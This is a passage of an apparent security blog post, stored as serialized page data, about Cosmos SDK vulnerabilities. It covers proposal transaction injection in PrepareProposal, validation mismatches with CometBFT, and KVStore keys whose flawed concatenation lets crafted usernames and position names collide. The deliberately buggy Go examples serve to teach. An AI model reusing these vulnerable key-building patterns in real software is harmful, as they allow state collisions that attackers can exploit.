h",{"type":26,"tag":217,"props":85536,"children":85537},{"style":7048},[85538],{"type":32,"value":180},{"type":26,"tag":217,"props":85540,"children":85541},{"style":7064},[85542],{"type":32,"value":85543},"defaultPrepareProposal",{"type":26,"tag":217,"props":85545,"children":85546},{"style":7048},[85547],{"type":32,"value":1851},{"type":26,"tag":217,"props":85549,"children":85550},{"style":7054},[85551],{"type":32,"value":79895},{"type":26,"tag":217,"props":85553,"children":85554},{"style":7048},[85555],{"type":32,"value":7599},{"type":26,"tag":217,"props":85557,"children":85558},{"style":7054},[85559],{"type":32,"value":85030},{"type":26,"tag":217,"props":85561,"children":85562},{"style":7048},[85563],{"type":32,"value":10025},{"type":26,"tag":217,"props":85565,"children":85566},{"class":7028,"line":7802},[85567],{"type":26,"tag":217,"props":85568,"children":85569},{"style":7149},[85570],{"type":32,"value":76369},{"type":26,"tag":217,"props":85572,"children":85573},{"class":7028,"line":7811},[85574,85579,85583,85588,85592],{"type":26,"tag":217,"props":85575,"children":85576},{"style":7054},[85577],{"type":32,"value":85578},"        proposalTxs",{"type":26,"tag":217,"props":85580,"children":85581},{"style":7149},[85582],{"type":32,"value":77267},{"type":26,"tag":217,"props":85584,"children":85585},{"style":7054},[85586],{"type":32,"value":85587}," defaultRes",{"type":26,"tag":217,"props":85589,"children":85590},{"style":7048},[85591],{"type":32,"value":180},{"type":26,"tag":217,"props":85593,"children":85594},{"style":7054},[85595],{"type":32,"value":85596},"Txs\n",{"type":26,"tag":217,"props":85598,"children":85599},{"class":7028,"line":7820},[85600,85604,85608,85612,85616],{"type":26,"tag":217,"props":85601,"children":85602},{"style":7042},[85603],{"type":32,"value":12497},{"type":26,"tag":217,"props":85605,"children":85606},{"style":7054},[85607],{"type":32,"value":85100},{"type":26,"tag":217,"props":85609,"children":85610},{"style":7149},[85611],{"type":32,"value":66974},{"type":26,"tag":217,"props":85613,"children":85614},{"style":7154},[85615],{"type":32,"value":82799},{"type":26,"tag":217,"props":85617,"children":85618},{"style":7048},[85619],{"type":32,"value":8064},{"type":26,"tag":217,"props":85621,"children":85622},{"class":7028,"line":7844},[85623,85628,85632,85636,85641,85646,85650,85655,85659,85664,85668],{"type":26,"tag":217,"props":85624,"children":85625},{"style":7054},[85626],{"type":32,"value":85627},"            proposalTxs",{"type":26,"tag":217,"props":85629,"children":85630},{"style":7149},[85631],{"type":32,"value":8993},{"type":26,"tag":217,"props":85633,"children":85634},{"style":7064},[85635],{"type":32,"value":78565},{"type":26,"tag":217,"props":85637,"children":85638},{"style":7048},[85639],{"type":32,"value":85640},"([][]",{"type":26,"tag":217,"props":85642,"children":85643},{"style":7119},[85644],{"type":32,"value":85645},"byte",{"type":26,"tag":217,"props":85647,"children":85648},{"style":7048},[85649],{"type":32,"value":25667},{"type":26,"tag":217,"props":85651,"children":85652},{"style":7054},[85653],{"type":32,"value":85654},"injection",{"type":26,"tag":217,"props":85656,"children":85657},{"style":7048},[85658],{"type":32,"value":77485},{"type":26,"tag":217,"props":85660,"children":85661},{"style":7054},[85662],{"type":32,"value":85663},"proposalTxs",{"type":26,"tag":217,"props":85665,"children":85666},{"style":7149},[85667],{"type":32,"value":13251},{"type":26,"tag":217,"props":85669,"children":85670},{"style":7048},[85671],{"type":32,"value":10025},{"type":26,"tag":217,"props":85673,"children":85674},{"class":7028,"line":7910},[85675,85680,85684,85688,85692,85697,85701,85706,85710,85715,85719,85723,85727,85731],{"type":26,"tag":217,"props":85676,"children":85677},{"style":7054},[85678],{"type":32,"value":85679},"            h",{"type":26,"tag":217,"props":85681,"children":85682},{"style":7048},[85683],{"type":32,"value":180},{"type":26,"tag":217,"props":85685,"children":85686},{"style":7054},[85687],{"type":32,"value":85431},{"type":26,"tag":217,"props":85689,"children":85690},{"style":7048},[85691],{"type":32,"value":180},{"type":26,"tag":217,"props":85693,"children":85694},{"style":7064},[85695],{"type":32,"value":85696},"Debug",{"type":26,"tag":217,"props":85698,"children":85699},{"style":7048},[85700],{"type":32,"value":1851},{"type":26,"tag":217,"props":85702,"children":85703},{"style":7338},[85704],{"type":32,"value":85705},"\"injected local last commit\"",{"type":26,"tag":217,"props":85707,"children":85708},{"style":7048},[85709],{"type":32,"value":7599},{"type":26,"tag":217,"props":85711,"children":85712},{"style":7338},[85713],{"type":32,"value":85714},"\"height\"",{"type":26,"tag":217,"props":85716,"children":85717},{"style":7048},[85718],{"type":32,"value":7599},{"type":26,"tag":217,"props":85720,"children":85721},{"style":7054},[85722],{"type":32,"value":85030},{"type":26,"tag":217,"props":85724,"children":85725},{"style":7048},[85726],{"type":32,"value":180},{"type":26,"tag":217,"props":85728,"children":85729},{"style":7054},[85730],{"type":32,"value":84361},{"type":26,"tag":217,"props":85732,"children":85733},{"style":7048},[85734],{"type":32,"value":10025},{"type":26,"tag":217,"props":85736,"children":85737},{"class":7028,"line":7954},[85738],{"type":26,"tag":217,"props":85739,"children":85740},{"style":7048},[85741],{"type":32,"value":8722},{"type":26,"tag":217,"props":85743,"children":85744},{"class":7028,"line":7985},[85745,85749,85753,85757,85761,85765],{"type":26,"tag":217,"props":85746,"children":85747},{"style":7042},[85748],{"type":32,"value":9737},{"type":26,"tag":217,"props":85750,"children":85751},{"style":7149},[85752],{"type":32,"value":10222},{"type":26,"tag":217,"props":85754,"children":85755},{"style":7119},[85756],{"type":32,"value":85039},{"type":26,"tag":217,"props":85758,"children":85759},{"style":7048},[85760],{"type":32,"value":180},{"type":26,"tag":217,"props":85762,"children":85763},{"style":7119},[85764],{"type":32,"value":85069},{"type":26,"tag":217,"props":85766,"children":85767},{"style":7048},[85768],{"type":32,"value":10033},{"type":26,"tag":217,"props":85770,"children":85771},{"class":7028,"line":8027},[85772,85777,85781,85785],{"type":26,"tag":217,"props":85773,"children":85774},{"style":7054},[85775],{"type":32,"value":85776},"            Txs",{"type":26,"tag":217,"props":85778,"children":85779},{"style":7048},[85780],{"type":32,"value":14785},{"type":26,"tag":217,"props":85782,"children":85783},{"style":7054},[85784],{"type":32,"value":85663},{"type":26,"tag":217,"props":85786,"children":85787},{"style":7048},[85788],{"type":32,"value":10953},{"type":26,"tag":217,"props":85790,"children":85791},{"class":7028,"line":8035},[85792,85797],{"type":26,"tag":217,"props":85793,"children":85794},{"style":7048},[85795],{"type":32,"value":85796},"        }, ",{"type":26,"tag":217,"props":85798,"children":85799},{"style":7154},[85800],{"type":32,"value":77490},{"type":26,"tag":217,"props":85802,"children":85803},{"class":7028,"line":8067},[85804],{"type":26,"tag":217,"props":85805,"children":85806},{"style":7048},[85807],{"type":32,"value":9754},{"type":26,"tag":217,"props":85809,"children":85810},{"class":7028,"line":8107},[85811],{"type":26,"tag":217,"props":85812,"children":85813},{"style":7048},[85814],{"type":32,"value":7184},{"type":26,"tag":39,"props":85816,"children":85817},{},[85818,85820,85825,85826,85831,85833,85840],{"type":32,"value":85819},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":26,"tag":83,"props":85821,"children":85823},{"className":85822},[],[85824],{"type":32,"value":84190},{"type":32,"value":7051},{"type":26,"tag":83,"props":85827,"children":85829},{"className":85828},[],[85830],{"type":32,"value":84258},{"type":32,"value":85832},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":26,"tag":163,"props":85834,"children":85837},{"href":85835,"rel":85836},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[167],[85838],{"type":32,"value":85839},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":32,"value":85841},", which will later get rejected by CometBTF.",{"type":26,"tag":27,"props":85843,"children":85845},{"id":85844},"the-keymaker",[85846],{"type":32,"value":85847},"The Keymaker",{"type":26,"tag":39,"props":85849,"children":85850},{},[85851,85853,85859,85861,85866],{"type":32,"value":85852},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":26,"tag":83,"props":85854,"children":85856},{"className":85855},[],[85857],{"type":32,"value":85858},"KVStore",{"type":32,"value":85860}," to handle states efficently. In ",{"type":26,"tag":83,"props":85862,"children":85864},{"className":85863},[],[85865],{"type":32,"value":85858},{"type":32,"value":85867},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":26,"tag":39,"props":85869,"children":85870},{},[85871],{"type":32,"value":85872},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":26,"tag":39,"props":85874,"children":85875},{},[85876,85878,85884],{"type":32,"value":85877},"Let's start by considering a scenario where we need to store the ",{"type":26,"tag":83,"props":85879,"children":85881},{"className":85880},[],[85882],{"type":32,"value":85883},"positionMap",{"type":32,"value":85885}," structure mentioned below into storage.",{"type":26,"tag":207,"props":85887,"children":85889},{"code":85888,"language":77016,"meta":8,"className":77017,"style":8},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[85890],{"type":26,"tag":83,"props":85891,"children":85892},{"__ignoreMap":8},[85893,85909,85925,85941,85961,85976,85983,86000],{"type":26,"tag":217,"props":85894,"children":85895},{"class":7028,"line":7029},[85896,85900,85905],{"type":26,"tag":217,"props":85897,"children":85898},{"style":7154},[85899],{"type":32,"value":16194},{"type":26,"tag":217,"props":85901,"children":85902},{"style":7119},[85903],{"type":32,"value":85904}," VaultId",{"type":26,"tag":217,"props":85906,"children":85907},{"style":7119},[85908],{"type":32,"value":77055},{"type":26,"tag":217,"props":85910,"children":85911},{"class":7028,"line":6770},[85912,85916,85921],{"type":26,"tag":217,"props":85913,"children":85914},{"style":7154},[85915],{"type":32,"value":16194},{"type":26,"tag":217,"props":85917,"children":85918},{"style":7119},[85919],{"type":32,"value":85920}," Username",{"type":26,"tag":217,"props":85922,"children":85923},{"style":7119},[85924],{"type":32,"value":12229},{"type":26,"tag":217,"props":85926,"children":85927},{"class":7028,"line":6779},[85928,85932,85937],{"type":26,"tag":217,"props":85929,"children":85930},{"style":7154},[85931],{"type":32,"value":16194},{"type":26,"tag":217,"props":85933,"children":85934},{"style":7119},[85935],{"type":32,"value":85936}," PositionName",{"type":26,"tag":217,"props":85938,"children":85939},{"style":7119},[85940],{"type":32,"value":12229},{"type":26,"tag":217,"props":85942,"children":85943},{"class":7028,"line":7140},[85944,85948,85953,85957],{"type":26,"tag":217,"props":85945,"children":85946},{"style":7154},[85947],{"type":32,"value":16194},{"type":26,"tag":217,"props":85949,"children":85950},{"style":7119},[85951],{"type":32,"value":85952}," Position",{"type":26,"tag":217,"props":85954,"children":85955},{"style":7154},[85956],{"type":32,"value":77038},{"type":26,"tag":217,"props":85958,"children":85959},{"style":7048},[85960],{"type":32,"value":8064},{"type":26,"tag":217,"props":85962,"children":85963},{"class":7028,"line":7165},[85964,85968,85972],{"type":26,"tag":217,"props":85965,"children":85966},{"style":7054},[85967],{"type":32,"value":67363},{"type":26,"tag":217,"props":85969,"children":85970},{"style":7048},[85971],{"type":32,"value":77080},{"type":26,"tag":217,"props":85973,"children":85974},{"style":7119},[85975],{"type":32,"value":85109},{"type":26,"tag":217,"props":85977,"children":85978},{"class":7028,"line":7178},[85979],{"type":26,"tag":217,"props":85980,"children":85981},{"style":7048},[85982],{"type":32,"value":7184},{"type":26,"tag":217,"props":85984,"children":85985},{"class":7028,"line":7389},[85986,85990,85995],{"type":26,"tag":217,"props":85987,"children":85988},{"style":7154},[85989],{"type":32,"value":16194},{"type":26,"tag":217,"props":85991,"children":85992},{"style":7119},[85993],{"type":32,"value":85994}," PositionMap",{"type":26,"tag":217,"props":85996,"children":85997},{"style":7149},[85998],{"type":32,"value":85999}," :=\n",{"type":26,"tag":217,"props":86001,"children":86002},{"class":7028,"line":7406},[86003,86008,86012,86017,86021,86025,86029,86034,86038,86042,86046,86051,86055],{"type":26,"tag":217,"props":86004,"children":86005},{"style":7154},[86006],{"type":32,"value":86007},"    map",{"type":26,"tag":217,"props":86009,"children":86010},{"style":7048},[86011],{"type":32,"value":7127},{"type":26,"tag":217,"props":86013,"children":86014},{"style":7119},[86015],{"type":32,"value":86016},"VaultId",{"type":26,"tag":217,"props":86018,"children":86019},{"style":7048},[86020],{"type":32,"value":21845},{"type":26,"tag":217,"props":86022,"children":86023},{"style":7154},[86024],{"type":32,"value":78426},{"type":26,"tag":217,"props":86026,"children":86027},{"style":7048},[86028],{"type":32,"value":7127},{"type":26,"tag":217,"props":86030,"children":86031},{"style":7119},[86032],{"type":32,"value":86033},"Username",{"type":26,"tag":217,"props":86035,"children":86036},{"style":7048},[86037],{"type":32,"value":21845},{"type":26,"tag":217,"props":86039,"children":86040},{"style":7154},[86041],{"type":32,"value":78426},{"type":26,"tag":217,"props":86043,"children":86044},{"style":7048},[86045],{"type":32,"value":7127},{"type":26,"tag":217,"props":86047,"children":86048},{"style":7119},[86049],{"type":32,"value":86050},"PositionName",{"type":26,"tag":217,"props":86052,"children":86053},{"style":7048},[86054],{"type":32,"value":21845},{"type":26,"tag":217,"props":86056,"children":86057},{"style":7119},[86058],{"type":32,"value":86059},"Position\n",{"type":26,"tag":39,"props":86061,"children":86062},{},[86063,86065,86071],{"type":32,"value":86064},"Given that there are two levels of keys in ",{"type":26,"tag":83,"props":86066,"children":86068},{"className":86067},[],[86069],{"type":32,"value":86070},"PositionMap",{"type":32,"value":86072},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":26,"tag":207,"props":86074,"children":86076},{"code":86075,"language":77016,"meta":8,"className":77017,"style":8},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[86077],{"type":26,"tag":83,"props":86078,"children":86079},{"__ignoreMap":8},[86080,86109,86121,86133,86145,86157],{"type":26,"tag":217,"props":86081,"children":86082},{"class":7028,"line":7029},[86083,86088,86092,86096,86100,86105],{"type":26,"tag":217,"props":86084,"children":86085},{"style":7054},[86086],{"type":32,"value":86087},"storageKey",{"type":26,"tag":217,"props":86089,"children":86090},{"style":7149},[86091],{"type":32,"value":77267},{"type":26,"tag":217,"props":86093,"children":86094},{"style":7054},[86095],{"type":32,"value":83114},{"type":26,"tag":217,"props":86097,"children":86098},{"style":7048},[86099],{"type":32,"value":180},{"type":26,"tag":217,"props":86101,"children":86102},{"style":7064},[86103],{"type":32,"value":86104},"Sprintf",{"type":26,"tag":217,"props":86106,"children":86107},{"style":7048},[86108],{"type":32,"value":10932},{"type":26,"tag":217,"props":86110,"children":86111},{"class":7028,"line":6770},[86112,86117],{"type":26,"tag":217,"props":86113,"children":86114},{"style":7338},[86115],{"type":32,"value":86116},"    \"%d%s%s\"",{"type":26,"tag":217,"props":86118,"children":86119},{"style":7048},[86120],{"type":32,"value":10953},{"type":26,"tag":217,"props":86122,"children":86123},{"class":7028,"line":6779},[86124,86129],{"type":26,"tag":217,"props":86125,"children":86126},{"style":7054},[86127],{"type":32,"value":86128},"    vaultId",{"type":26,"tag":217,"props":86130,"children":86131},{"style":7048},[86132],{"type":32,"value":10953},{"type":26,"tag":217,"props":86134,"children":86135},{"class":7028,"line":7140},[86136,86141],{"type":26,"tag":217,"props":86137,"children":86138},{"style":7054},[86139],{"type":32,"value":86140},"    username",{"type":26,"tag":217,"props":86142,"children":86143},{"style":7048},[86144],{"type":32,"value":10953},{"type":26,"tag":217,"props":86146,"children":86147},{"class":7028,"line":7165},[86148,86153],{"type":26,"tag":217,"props":86149,"children":86150},{"style":7054},[86151],{"type":32,"value":86152},"    positionName",{"type":26,"tag":217,"props":86154,"children":86155},{"style":7048},[86156],{"type":32,"value":10953},{"type":26,"tag":217,"props":86158,"children":86159},{"class":7028,"line":7178},[86160],{"type":26,"tag":217,"props":86161,"children":86162},{"style":7048},[86163],{"type":32,"value":10025},{"type":26,"tag":39,"props":86165,"children":86166},{},[86167],{"type":32,"value":86168},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":26,"tag":207,"props":86170,"children":86172},{"code":86171},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[86173],{"type":26,"tag":83,"props":86174,"children":86175},{"__ignoreMap":8},[86176],{"type":32,"value":86171},{"type":26,"tag":39,"props":86178,"children":86179},{},[86180,86185],{"type":26,"tag":65,"props":86181,"children":86182},{},[86183],{"type":32,"value":86184},"So, how can we mitigate this issue?",{"type":32,"value":86186},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":26,"tag":207,"props":86188,"children":86190},{"code":86189,"language":77016,"meta":8,"className":77017,"style":8},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[86191],{"type":26,"tag":83,"props":86192,"children":86193},{"__ignoreMap":8},[86194,86205,86222,86229,86236,86263,86275,86286,86297,86308,86319,86330],{"type":26,"tag":217,"props":86195,"children":86196},{"class":7028,"line":7029},[86197,86201],{"type":26,"tag":217,"props":86198,"children":86199},{"style":7154},[86200],{"type":32,"value":74748},{"type":26,"tag":217,"props":86202,"children":86203},{"style":7048},[86204],{"type":32,"value":67966},{"type":26,"tag":217,"props":86206,"children":86207},{"class":7028,"line":6770},[86208,86213,86217],{"type":26,"tag":217,"props":86209,"children":86210},{"style":7054},[86211],{"type":32,"value":86212},"    Seperator",{"type":26,"tag":217,"props":86214,"children":86215},{"style":7149},[86216],{"type":32,"value":8993},{"type":26,"tag":217,"props":86218,"children":86219},{"style":7338},[86220],{"type":32,"value":86221}," \"|\"\n",{"type":26,"tag":217,"props":86223,"children":86224},{"class":7028,"line":6779},[86225],{"type":26,"tag":217,"props":86226,"children":86227},{"style":7048},[86228],{"type":32,"value":10025},{"type":26,"tag":217,"props":86230,"children":86231},{"class":7028,"line":7140},[86232],{"type":26,"tag":217,"props":86233,"children":86234},{"emptyLinePlaceholder":17},[86235],{"type":32,"value":7817},{"type":26,"tag":217,"props":86237,"children":86238},{"class":7028,"line":7165},[86239,86243,86247,86251,86255,86259],{"type":26,"tag":217,"props":86240,"children":86241},{"style":7054},[86242],{"type":32,"value":86087},{"type":26,"tag":217,"props":86244,"children":86245},{"style":7149},[86246],{"type":32,"value":77267},{"type":26,"tag":217,"props":86248,"children":86249},{"style":7054},[86250],{"type":32,"value":83114},{"type":26,"tag":217,"props":86252,"children":86253},{"style":7048},[86254],{"type":32,"value":180},{"type":26,"tag":217,"props":86256,"children":86257},{"style":7064},[86258],{"type":32,"value":86104},{"type":26,"tag":217,"props":86260,"children":86261},{"style":7048},[86262],{"type":32,"value":10932},{"type":26,"tag":217,"props":86264,"children":86265},{"class":7028,"line":7178},[86266,86271],{"type":26,"tag":217,"props":86267,"children":86268},{"style":7338},[86269],{"type":32,"value":86270},"    \"%d%s%s%s%s\"",{"type":26,"tag":217,"props":86272,"children":86273},{"style":7048},[86274],{"type":32,"value":10953},{"type":26,"tag":217,"props":86276,"children":86277},{"class":7028,"line":7389},[86278,86282],{"type":26,"tag":217,"props":86279,"children":86280},{"style":7054},[86281],{"type":32,"value":86128},{"type":26,"tag":217,"props":86283,"children":86284},{"style":7048},[86285],{"type":32,"value":10953},{"type":26,"tag":217,"props":86287,"children":86288},{"class":7028,"line":7406},[86289,86293],{"type":26,"tag":217,"props":86290,"children":86291},{"style":7054},[86292],{"type":32,"value":86212},{"type":26,"tag":217,"props":86294,"children":86295},{"style":7048},[86296],{"type":32,"value":10953},{"type":26,"tag":217,"props":86298,"children":86299},{"class":7028,"line":7439},[86300,86304],{"type":26,"tag":217,"props":86301,"children":86302},{"style":7054},[86303],{"type":32,"value":86140},{"type":26,"tag":217,"props":86305,"children":86306},{"style":7048},[86307],{"type":32,"value":10953},{"type":26,"tag":217,"props":86309,"children":86310},{"class":7028,"line":7487},[86311,86315],{"type":26,"tag":217,"props":86312,"children":86313},{"style":7054},[86314],{"type":32,"value":86212},{"type":26,"tag":217,"props":86316,"children":86317},{"style":7048},[86318],{"type":32,"value":10953},{"type":26,"tag":217,"props":86320,"children":86321},{"class":7028,"line":7524},[86322,86326],{"type":26,"tag":217,"props":86323,"children":86324},{"style":7054},[86325],{"type":32,"value":86152},{"type":26,"tag":217,"props":86327,"children":86328},{"style":7048},[86329],{"type":32,"value":10953},{"type":26,"tag":217,"props":86331,"children":86332},{"class":7028,"line":7553},[86333],{"type":26,"tag":217,"props":86334,"children":86335},{"style":7048},[86336],{"type":32,"value":10025},{"type":26,"tag":39,"props":86338,"children":86339},{},[86340],{"type":32,"value":86341},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":26,"tag":39,"props":86343,"children":86344},{},[86345,86347,86353,86354,86360],{"type":32,"value":86346},"Sadly, it doesn't. Since the ",{"type":26,"tag":83,"props":86348,"children":86350},{"className":86349},[],[86351],{"type":32,"value":86352},"username",{"type":32,"value":1308},{"type":26,"tag":83,"props":86355,"children":86357},{"className":86356},[],[86358],{"type":32,"value":86359},"vaultName",{"type":32,"value":86361}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":26,"tag":207,"props":86363,"children":86365},{"code":86364},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[86366],{"type":26,"tag":83,"props":86367,"children":86368},{"__ignoreMap":8},[86369],{"type":32,"value":86364},{"type":26,"tag":39,"props":86371,"children":86372},{},[86373],{"type":32,"value":86374},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":26,"tag":207,"props":86376,"children":86378},{"code":86377,"language":77016,"meta":8,"className":77017,"style":8},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[86379],{"type":26,"tag":83,"props":86380,"children":86381},{"__ignoreMap":8},[86382,86393,86408,86415,86422,86429,86450,86466,86504,86511,86548,86555,86575,86590,86626,86633,86668,86675,86702,86713,86724,86735,86747,86758,86766],{"type":26,"tag":217,"props":86383,"children":86384},{"class":7028,"line":7029},[86385,86389],{"type":26,"tag":217,"props":86386,"children":86387},{"style":7154},[86388],{"type":32,"value":74748},{"type":26,"tag":217,"props":86390,"children":86391},{"style":7048},[86392],{"type":32,"value":67966},{"type":26,"tag":217,"props":86394,"children":86395},{"class":7028,"line":6770},[86396,86400,86404],{"type":26,"tag":217,"props":86397,"children":86398},{"style":7054},[86399],{"type":32,"value":86212},{"type":26,"tag":217,"props":86401,"children":86402},{"style":7149},[86403],{"type":32,"value":8993},{"type":26,"tag":217,"props":86405,"children":86406},{"style":7338},[86407],{"type":32,"value":86221},{"type":26,"tag":217,"props":86409,"children":86410},{"class":7028,"line":6779},[86411],{"type":26,"tag":217,"props":86412,"children":86413},{"style":7048},[86414],{"type":32,"value":10025},{"type":26,"tag":217,"props":86416,"children":86417},{"class":7028,"line":7140},[86418],{"type":26,"tag":217,"props":86419,"children":86420},{"emptyLinePlaceholder":17},[86421],{"type":32,"value":7817},{"type":26,"tag":217,"props":86423,"children":86424},{"class":7028,"line":7165},[86425],{"type":26,"tag":217,"props":86426,"children":86427},{"emptyLinePlaceholder":17},[86428],{"type":32,"value":7817},{"type":26,"tag":217,"props":86430,"children":86431},{"class":7028,"line":7178},[86432,86437,86441,86446],{"type":26,"tag":217,"props":86433,"children":86434},{"style":7054},[86435],{"type":32,"value":86436},"usernameEncoded",{"type":26,"tag":217,"props":86438,"children":86439},{"style":7149},[86440],{"type":32,"value":77267},{"type":26,"tag":217,"props":86442,"children":86443},{"style":7064},[86444],{"type":32,"value":86445}," make",{"type":26,"tag":217,"props":86447,"children":86448},{"style":7048},[86449],{"type":32,"value":10932},{"type":26,"tag":217,"props":86451,"children":86452},{"class":7028,"line":7389},[86453,86458,86462],{"type":26,"tag":217,"props":86454,"children":86455},{"style":7048},[86456],{"type":32,"value":86457},"    []",{"type":26,"tag":217,"props":86459,"children":86460},{"style":7119},[86461],{"type":32,"value":85645},{"type":26,"tag":217,"props":86463,"children":86464},{"style":7048},[86465],{"type":32,"value":10953},{"type":26,"tag":217,"props":86467,"children":86468},{"class":7028,"line":7406},[86469,86474,86478,86483,86487,86491,86495,86499],{"type":26,"tag":217,"props":86470,"children":86471},{"style":7054},[86472],{"type":32,"value":86473},"    hex",{"type":26,"tag":217,"props":86475,"children":86476},{"style":7048},[86477],{"type":32,"value":180},{"type":26,"tag":217,"props":86479,"children":86480},{"style":7064},[86481],{"type":32,"value":86482},"EncodedLen",{"type":26,"tag":217,"props":86484,"children":86485},{"style":7048},[86486],{"type":32,"value":1851},{"type":26,"tag":217,"props":86488,"children":86489},{"style":7064},[86490],{"type":32,"value":15325},{"type":26,"tag":217,"props":86492,"children":86493},{"style":7048},[86494],{"type":32,"value":1851},{"type":26,"tag":217,"props":86496,"children":86497},{"style":7054},[86498],{"type":32,"value":86352},{"type":26,"tag":217,"props":86500,"children":86501},{"style":7048},[86502],{"type":32,"value":86503},")),\n",{"type":26,"tag":217,"props":86505,"children":86506},{"class":7028,"line":7439},[86507],{"type":26,"tag":217,"props":86508,"children":86509},{"style":7048},[86510],{"type":32,"value":10025},{"type":26,"tag":217,"props":86512,"children":86513},{"class":7028,"line":7487},[86514,86519,86523,86528,86532,86536,86540,86544],{"type":26,"tag":217,"props":86515,"children":86516},{"style":7054},[86517],{"type":32,"value":86518},"hex",{"type":26,"tag":217,"props":86520,"children":86521},{"style":7048},[86522],{"type":32,"value":180},{"type":26,"tag":217,"props":86524,"children":86525},{"style":7064},[86526],{"type":32,"value":86527},"Encode",{"type":26,"tag":217,"props":86529,"children":86530},{"style":7048},[86531],{"type":32,"value":1851},{"type":26,"tag":217,"props":86533,"children":86534},{"style":7054},[86535],{"type":32,"value":86436},{"type":26,"tag":217,"props":86537,"children":86538},{"style":7048},[86539],{"type":32,"value":7599},{"type":26,"tag":217,"props":86541,"children":86542},{"style":7054},[86543],{"type":32,"value":86352},{"type":26,"tag":217,"props":86545,"children":86546},{"style":7048},[86547],{"type":32,"value":10025},{"type":26,"tag":217,"props":86549,"children":86550},{"class":7028,"line":7524},[86551],{"type":26,"tag":217,"props":86552,"children":86553},{"emptyLinePlaceholder":17},[86554],{"type":32,"value":7817},{"type":26,"tag":217,"props":86556,"children":86557},{"class":7028,"line":7553},[86558,86563,86567,86571],{"type":26,"tag":217,"props":86559,"children":86560},{"style":7054},[86561],{"type":32,"value":86562},"positionNameEncoded",{"type":26,"tag":217,"props":86564,"children":86565},{"style":7149},[86566],{"type":32,"value":77267},{"type":26,"tag":217,"props":86568,"children":86569},{"style":7064},[86570],{"type":32,"value":86445},{"type":26,"tag":217,"props":86572,"children":86573},{"style":7048},[86574],{"type":32,"value":10932},{"type":26,"tag":217,"props":86576,"children":86577},{"class":7028,"line":7570},[86578,86582,86586],{"type":26,"tag":217,"props":86579,"children":86580},{"style":7048},[86581],{"type":32,"value":86457},{"type":26,"tag":217,"props":86583,"children":86584},{"style":7119},[86585],{"type":32,"value":85645},{"type":26,"tag":217,"props":86587,"children":86588},{"style":7048},[86589],{"type":32,"value":10953},{"type":26,"tag":217,"props":86591,"children":86592},{"class":7028,"line":7621},[86593,86597,86601,86605,86609,86613,86617,86622],{"type":26,"tag":217,"props":86594,"children":86595},{"style":7054},[86596],{"type":32,"value":86473},{"type":26,"tag":217,"props":86598,"children":86599},{"style":7048},[86600],{"type":32,"value":180},{"type":26,"tag":217,"props":86602,"children":86603},{"style":7064},[86604],{"type":32,"value":86482},{"type":26,"tag":217,"props":86606,"children":86607},{"style":7048},[86608],{"type":32,"value":1851},{"type":26,"tag":217,"props":86610,"children":86611},{"style":7064},[86612],{"type":32,"value":15325},{"type":26,"tag":217,"props":86614,"children":86615},{"style":7048},[86616],{"type":32,"value":1851},{"type":26,"tag":217,"props":86618,"children":86619},{"style":7054},[86620],{"type":32,"value":86621},"positionName",{"type":26,"tag":217,"props":86623,"children":86624},{"style":7048},[86625],{"type":32,"value":86503},{"type":26,"tag":217,"props":86627,"children":86628},{"class":7028,"line":7672},[86629],{"type":26,"tag":217,"props":86630,"children":86631},{"style":7048},[86632],{"type":32,"value":10025},{"type":26,"tag":217,"props":86634,"children":86635},{"class":7028,"line":7681},[86636,86640,86644,86648,86652,86656,86660,86664],{"type":26,"tag":217,"props":86637,"children":86638},{"style":7054},[86639],{"type":32,"value":86518},{"type":26,"tag":217,"props":86641,"children":86642},{"style":7048},[86643],{"type":32,"value":180},{"type":26,"tag":217,"props":86645,"children":86646},{"style":7064},[86647],{"type":32,"value":86527},{"type":26,"tag":217,"props":86649,"children":86650},{"style":7048},[86651],{"type":32,"value":1851},{"type":26,"tag":217,"props":86653,"children":86654},{"style":7054},[86655],{"type":32,"value":86562},{"type":26,"tag":217,"props":86657,"children":86658},{"style":7048},[86659],{"type":32,"value":7599},{"type":26,"tag":217,"props":86661,"children":86662},{"style":7054},[86663],{"type":32,"value":86621},{"type":26,"tag":217,"props":86665,"children":86666},{"style":7048},[86667],{"type"